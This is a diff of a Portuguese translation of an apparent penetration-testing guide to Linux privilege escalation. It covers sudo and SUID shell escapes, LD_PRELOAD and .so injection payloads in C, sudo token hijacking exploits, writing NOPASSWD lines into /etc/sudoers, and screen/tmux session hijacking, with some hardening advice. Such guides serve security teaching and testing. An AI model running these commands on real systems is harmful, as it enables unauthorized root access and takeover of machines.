`su` e `timeout` estiverem presentes na máquina, você pode tentar brute-forcear usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-forcear usuários. +Se você não se importa de gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-force um usuário usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-force usuários. -## Abusos de PATH gravável +## Abusos no $PATH gravável ### $PATH -Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** pode ser capaz de escalar privilégios criando uma backdoor dentro da pasta gravável com o nome de algum comando que será executado por outro usuário (idealmente root) e que **não seja carregado a partir de uma pasta localizada antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** pode ser capaz de escalar privilégios criando uma backdoor dentro da pasta gravável com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não seja carregado a partir de uma pasta localizada antes** da sua pasta gravável no $PATH. ### SUDO and SUID -Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique isso usando: +Você pode estar autorizado a executar algum comando usando sudo ou eles podem ter o suid bit. Verifique usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até execute um comando.** Por exemplo: +Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até mesmo execute um comando.** Por exemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -745,36 +745,36 @@ less>! ``` ### NOPASSWD -A configuração do sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem conhecer a senha. +A configuração do Sudo pode permitir que um usuário execute um comando com os privilégios de outro usuário sem saber a senha. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Neste exemplo o usuário `demo` pode executar `vim` como `root`; agora é trivial obter uma shell adicionando um ssh key no root directory ou chamando `sh`. +Neste exemplo o usuário `demo` pode executar `vim` como `root`; agora é trivial obter uma shell adicionando uma ssh key no diretório `root` ou chamando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Esta diretiva permite ao usuário **definir uma variável de ambiente** enquanto executa algo: +Esta diretiva permite ao usuário **definir uma variável de ambiente** ao executar algo: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este exemplo, **baseado na HTB machine Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária enquanto executava o script como root: +Este exemplo, **based on HTB machine Admirer**, foi **vulnerable** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária enquanto executava o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preserved via sudo env_keep → root shell +### BASH_ENV preservado via sudo env_keep → shell root -Se sudoers preserva `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), você pode aproveitar o comportamento de inicialização não interativa do Bash para executar código arbitrário como root ao invocar um comando permitido. +Se o sudoers preserva `BASH_ENV` (por exemplo, `Defaults env_keep+="ENV BASH_ENV"`), você pode aproveitar o comportamento de inicialização não interativa do Bash para executar código arbitrário como root ao invocar um comando permitido. -- Por que funciona: Para shells não interativos, Bash avalia `$BASH_ENV` e o arquivo é sourced antes de executar o script alvo. Muitas regras do sudo permitem executar um script ou um shell wrapper. Se `BASH_ENV` for preservado pelo sudo, seu arquivo será sourced com privilégios de root. +- Por que funciona: Para shells não interativos, o Bash avalia `$BASH_ENV` e carrega esse arquivo antes de executar o script alvo. Muitas regras do sudo permitem executar um script ou um wrapper de shell. Se `BASH_ENV` for preservado pelo sudo, seu arquivo é carregado com privilégios de root. - Requisitos: -- Uma regra do sudo que você possa executar (qualquer alvo que invoque `/bin/bash` de forma não interativa, ou qualquer bash script). +- Uma regra sudo que você possa executar (qualquer alvo que invoque `/bin/bash` de forma não interativa, ou qualquer script bash). - `BASH_ENV` presente em `env_keep` (verifique com `sudo -l`). - PoC: @@ -788,13 +788,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - Endurecimento: -- Remova `BASH_ENV` (e `ENV`) de `env_keep`, prefira `env_reset`. +- Remova `BASH_ENV` (e `ENV`) de `env_keep`; prefira `env_reset`. - Evite wrappers de shell para comandos permitidos pelo sudo; use binários mínimos. -- Considere registro de I/O do sudo e alertas quando variáveis de ambiente preservadas forem usadas. +- Considere registro de I/O do sudo e alertas quando variáveis de ambiente preservadas são usadas. -### Caminhos que permitem bypass de execução do sudo +### Caminhos que contornam a execução do sudo -**Jump** para ler outros arquivos ou usar **symlinks**. Por exemplo no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** para ler outros arquivos ou usar **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -811,21 +811,21 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Comando Sudo/Binário SUID sem caminho do comando +### Sudo command/SUID binary sem o caminho do comando -Se a **permissão sudo** for dada para um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH +Se a **permissão sudo** for concedida para um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**. +Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um SUID estranho)**). [Payload examples to execute.](payloads-to-execute.md) -### Binário SUID com caminho do comando +### SUID binary com caminho do comando -Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o mesmo nome do comando que o arquivo suid está chamando. +Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la: ```bash @@ -836,18 +836,18 @@ Então, quando você chamar o binário suid, essa função será executada ### LD_PRELOAD & **LD_LIBRARY_PATH** -A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. +A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca padrão C (`libc.so`). Esse processo é conhecido como pré-carregamento de biblioteca. -No entanto, para manter a segurança do sistema e impedir que esse recurso seja explorado, especialmente com executáveis suid/sgid, o sistema impõe certas condições: +No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente em executáveis **suid/sgid**, o sistema impõe certas condições: -- O loader desconsidera **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). +- O loader ignora **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). - Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas. -A elevação de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a instrução **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. +Escalada de privilégio pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. ``` Defaults env_keep += LD_PRELOAD ``` -Salvar como **/tmp/pe.c** +Salve como **/tmp/pe.c** ```c #include #include @@ -865,12 +865,12 @@ Então **compile-o** usando: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalate privileges** em execução +Finalmente, **escalate privileges** executando ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Um privesc semelhante pode ser abusado se o atacante controlar a env variable **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas. +> Um privesc similar pode ser explorado se o atacante controlar a env variable **LD_LIBRARY_PATH**, porque ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -892,13 +892,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Ao encontrar um binary com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: +Quando encontrar um binário com permissões **SUID** que pareça fora do comum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere uma possibilidade de exploração. +Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ indica um potencial para exploração. -Para explorar isso, procede-se criando um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: +Para explorá-lo, procede-se criando um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o código a seguir: ```c #include #include @@ -909,9 +909,9 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, uma vez compilado e executado, visa elevar privilégios manipulando permissões de arquivos e executando um shell com privilégios elevados. +Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando permissões de arquivos e executando um shell com privilégios elevados. -Compile o arquivo C acima em um shared object (.so) com: +Compile o arquivo C acima em um objeto compartilhado (.so) com: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` @@ -927,7 +927,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Agora que encontramos um SUID binary que carrega uma library de uma pasta onde podemos escrever, vamos criar a library nessa pasta com o nome necessário: +Agora que encontramos um binário SUID que carrega uma biblioteca a partir de um diretório onde podemos escrever, vamos criar a biblioteca nesse diretório com o nome necessário: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -948,9 +948,9 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. -O projeto reúne funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, spawn bind and reverse shells, e facilitar outras tarefas de post-exploitation. +O projeto reúne funções legítimas de binários Unix que podem ser abusadas para contornar restricted shells, escalate ou manter privilégios elevados, transferir arquivos, spawn bind and reverse shells, e facilitar outras tarefas de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -969,42 +969,42 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você pode executar `sudo -l`, você pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra maneiras de explorar alguma regra do sudo. +Se você puder acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra uma forma de explorar alguma regra do sudo. ### Reusing Sudo Tokens -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +Em casos em que você tem **sudo access** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então hijackar o token de sessão. Requisitos para escalar privilégios: -- Você já tem um shell como o usuário "_sampleuser_" -- "_sampleuser_" tenha **usado `sudo`** para executar algo nos **últimos 15mins** (por padrão essa é a duração do token sudo que nos permite usar `sudo` sem inserir nenhuma senha) -- `cat /proc/sys/kernel/yama/ptrace_scope` é 0 -- `gdb` esteja acessível (você possa fazer upload dele) +- Você já tem um shell como usuário "_sampleuser_" +- "_sampleuser_" tenha **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token sudo que nos permite usar `sudo` sem digitar a senha) +- `cat /proc/sys/kernel/yama/ptrace_scope` seja 0 +- `gdb` esteja acessível (você deve ser capaz de enviá-lo) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Você pode temporariamente habilitar `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não obterá automaticamente um shell root, use `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- O **segundo exploit** (`exploit_v2.sh`) criará um shell sh em _/tmp_ **de propriedade do root com setuid** +- O **segundo exploit** (`exploit_v2.sh`) criará uma shell sh em _/tmp_ **de propriedade do root com setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna os **sudo tokens** eternos e permite que **todos os usuários** usem sudo +- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna **os tokens do sudo eternos e permite que todos os usuários usem sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se você tiver **write permissions** na pasta ou em qualquer um dos arquivos criados dentro dela você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um usuário e PID**.\ +Se você tiver **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro dela, você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um usuário e PID**.\ Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha fazendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser @@ -1012,17 +1012,17 @@ Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e pelo grupo root**.\ -**Se** você conseguir **ler** este arquivo poderá **obter informações interessantes**, e se puder **escrever** qualquer arquivo será capaz de **escalar privilégios**. +**Se** você puder **ler** esse arquivo poderá **obter algumas informações interessantes**, e se puder **escrever** em qualquer arquivo você será capaz de **escalar privilégios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se você consegue escrever, pode abusar desta permissão +Se você pode escrever, pode abusar desta permissão. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Outra maneira de abusar dessas permissões: +Outra forma de abusar dessas permissões: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1031,13 +1031,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existem algumas alternativas ao binário `sudo`, como `doas` do OpenBSD. Lembre-se de verificar sua configuração em `/etc/doas.conf` +Existem algumas alternativas ao binário `sudo`, como o `doas` do OpenBSD. Lembre-se de verificar sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se você sabe que um **usuário geralmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que irá executar seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. +Se souber que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, pode **criar um novo executável sudo** que executará seu código como root e, em seguida, o comando do usuário. Depois, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. Observe que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) @@ -1060,12 +1060,12 @@ sudo ls ### ld.so -O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Tipicamente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` +O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Tipicamente, esse arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` -Isso significa que os arquivos de configuração em `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá buscar por bibliotecas dentro de `/usr/local/lib`**. +Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá procurar por bibliotecas dentro de `/usr/local/lib`**. -Se por algum motivo **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada pelo arquivo de configuração em `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalate privileges.\ -Confira **how to exploit this misconfiguration** na página a seguir: +Se por algum motivo **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada no arquivo de configuração em `/etc/ld.so.conf.d/*.conf` ele pode conseguir escalar privilégios.\ +Veja **como explorar essa má configuração** na página a seguir: {{#ref}} @@ -1083,7 +1083,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Ao copiar a lib para `/var/tmp/flag15/`, ela será usada pelo programa nesse local conforme especificado na variável `RPATH`. +Ao copiar a lib para `/var/tmp/flag15/` ela será usada pelo programa nesse local conforme especificado na variável `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1107,8 +1107,8 @@ execve(file,argv,0); ``` ## Capacidades -Linux capabilities fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente fragmenta os privilégios root **em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida de forma independente a processos. Dessa forma o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ -Leia a página a seguir para **aprender mais sobre capabilities e como abusar delas**: +As capacidades do Linux fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente divide os **privilégios do root em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ +Leia a página a seguir para **aprender mais sobre capacidades e como abusar delas**: {{#ref}} @@ -1122,9 +1122,9 @@ O **bit "read"** implica que o usuário pode **listar** os **arquivos**, e o **b ## ACLs -Access Control Lists (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrepor** as permissões tradicionais ugo/rwx. Essas permissões aumentam o controle sobre o acesso a arquivos ou diretórios ao permitir ou negar direitos a usuários específicos que não são os proprietários ou não fazem parte do grupo. Esse nível de **granularidade** garante um gerenciamento de acesso mais preciso. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrescrever as permissões tradicionais ugo/rwx**. Essas permissões ampliam o controle sobre o acesso a um arquivo ou diretório ao permitir ou negar direitos a usuários específicos que não sejam os proprietários nem façam parte do grupo. Esse nível de **granularidade garante uma gestão de acesso mais precisa**. Mais detalhes podem ser encontrados [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dê** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: +**Conceder** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1135,10 +1135,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Sessões de shell abertas +## Sessões shell abertas Em **versões antigas** você pode **hijack** alguma sessão **shell** de um usuário diferente (**root**).\ -Nas **versões mais recentes** você poderá **connect** a screen sessions apenas do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. +Em **versões mais recentes** você só poderá **connect** em screen sessions do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. ### screen sessions hijacking @@ -1155,11 +1155,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Sequestro de sessões tmux +## tmux sessions hijacking -Isso era um problema em **versões antigas do tmux**. Eu não consegui sequestrar uma sessão tmux (v2.1) criada pelo root como um usuário não privilegiado. +Isso foi um problema com **old tmux versions**. Eu não consegui hijackar uma sessão tmux (v2.1) criada por root como um usuário não privilegiado. -**Listar sessões tmux** +**Listar tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1177,53 +1177,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Veja **Valentine box from HTB** como exemplo. +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ -Esse bug ocorre ao criar uma nova chave ssh nesses sistemas, pois **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh você pode buscar a chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Esse bug ocorre ao criar uma nova chave ssh nesses sistemas, pois **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh você pode procurar a chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. - **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`. -- **PermitEmptyPasswords**: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é `no`. +- **PermitEmptyPasswords**: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com strings de senha vazias. O padrão é `no`. ### PermitRootLogin Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: -- `yes`: root pode entrar usando senha e chave privada -- `without-password` or `prohibit-password`: root só pode entrar com chave privada -- `forced-commands-only`: root pode entrar apenas usando chave privada e se a opção de comandos estiver especificada +- `yes`: root pode fazer login usando senha e chave privada +- `without-password` or `prohibit-password`: root só pode fazer login com chave privada +- `forced-commands-only`: root só pode fazer login usando chave privada e se as opções de comandos forem especificadas - `no` : não ### AuthorizedKeysFile -Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: +Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (iniciando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indicará que, se você tentar fazer login com a chave **private** do usuário "**testusername**", o ssh irá comparar o public key da sua chave com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Essa configuração indicará que, se você tentar fazer login com a **private** key do usuário "**testusername**", o ssh irá comparar a public key da sua key com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -O SSH agent forwarding permite que você **use your local SSH keys instead of leaving keys** (sem passphrases!) deixe-as no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** a **key** localizada no seu **initial host**. +SSH agent forwarding permite que você **use seus SSH keys locais em vez de deixar keys** (without passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** a **key** localizada no seu **initial host**. -Você precisa definir essa opção em `$HOME/.ssh.config` assim: +Você precisa definir esta opção em `$HOME/.ssh.config` assim: ``` Host example.com ForwardAgent yes ``` -Note que se `Host` for `*` toda vez que o usuário conectar-se a uma máquina diferente, essa máquina poderá acessar as chaves (o que é um problema de segurança). +Observe que se `Host` for `*` toda vez que o usuário se conectar a uma máquina diferente, esse host poderá acessar as chaves (o que representa um problema de segurança). -O arquivo `/etc/ssh_config` pode **sobrescrever** essas **opções** e permitir ou negar essa configuração.\ -O arquivo `/etc/sshd_config` pode **permitir** ou **negar** ssh-agent forwarding com a keyword `AllowAgentForwarding` (default is allow). +O arquivo `/etc/ssh_config` pode **sobrescrever** estas **opções** e permitir ou negar essa configuração.\ +O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). -Se você descobrir que Forward Agent está configurado em um ambiente, leia a página a seguir, pois **pode ser possível abusá-lo para escalar privilégios**: +Se você descobrir que o Forward Agent está configurado em um ambiente leia a seguinte página, pois **você pode ser capaz de abusá-lo para escalar privilégios**: {{#ref}} @@ -1232,17 +1232,17 @@ ssh-forward-agent-exploitation.md ## Arquivos Interessantes -### Profiles files +### Arquivos de perfil -O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles você pode escalar privilégios**. +O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, você pode escalar privilégios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se algum script de perfil estranho for encontrado você deve verificá-lo em busca de **detalhes sensíveis**. +Se algum script de perfil estranho for encontrado, você deve verificá-lo em busca de **detalhes sensíveis**. ### Arquivos Passwd/Shadow -Dependendo do SO os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto é recomendado **encontrar todos eles** e **verificar 